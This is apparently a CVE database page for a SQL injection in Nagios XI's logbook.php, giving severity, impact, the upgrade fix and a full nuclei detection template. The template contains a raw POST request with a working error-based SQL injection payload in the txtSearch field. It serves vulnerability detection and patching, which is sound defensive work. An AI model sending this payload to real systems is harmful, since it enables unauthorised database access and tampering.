HexBrain

Browse / CVEs / CVE-2018-10737

CVE-2018-10737· nagios / nagios xi· CWE-89

NagiosXI <= 5.4.12 logbook.php SQL injection

highseverity
7.2CVSS score
41.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/logbook.php txtSearch parameter.

Impact

Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.

Fix

Upgrade to Nagios XI version 5.4.13 or later.

How to confirm it

Send: POST /nagiosql/admin/logbook.php
Positive when: contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2018-10737 -u <target>

The full check
id: CVE-2018-10737

info:
  name: NagiosXI <= 5.4.12 logbook.php SQL injection
  author: DhiyaneshDK
  severity: high
  description: |
    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/logbook.php txtSearch parameter.
  impact: |
    Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
  remediation: |
    Upgrade to Nagios XI version 5.4.13 or later.
  reference:
    - https://vulners.com/seebug/SSV:97267
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10737
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2018-10737
    cwe-id: CWE-89
    epss-score: 0.41436
    epss-percentile: 0.98688
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - app="Nagios-XI"
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2018,nagios,sqli,vkev,vuln
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - raw:
      - |
        POST /nagiosql/admin/logbook.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        txtSearch=' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

References

Use this check only on systems you are authorised to test. Where the data comes from